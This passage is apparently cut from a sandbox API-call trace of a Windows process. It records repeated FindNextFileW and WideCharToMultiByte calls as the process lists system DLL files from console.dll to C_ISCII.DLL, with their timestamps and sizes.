ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="console.dll", cAlternateFileName="")) returned 1 [0038.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONSOLE.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.719] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0038.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x94c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CORPOL.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.719] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0038.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x94c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CPFILTERS.DLL", lpUsedDefaultChar=0x0) returned 13 [0038.720] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0038.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDSSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.720] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0038.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x94c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.720] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0038.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x94c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRTDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.720] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0038.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPT32.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.720] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0038.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x94c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTBASE.DLL", lpUsedDefaultChar=0x0) returned 13 [0038.720] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0038.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLG.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.720] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0038.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLL.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.720] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0038.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.721] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0038.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTNET.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.721] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0038.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.721] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0038.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSVC.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.721] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0038.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.721] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0038.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTXML.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.721] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0038.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x94c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCAPI.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.721] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0038.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x94c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.721] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0038.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x94c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCOBJ.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.722] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0038.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CTL3D32.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.722] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0038.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_G18030.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.722] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0038.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_IS2022.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.722] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0038.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_ISCII.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.722] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x2e5448, dwReserved1=0x0, 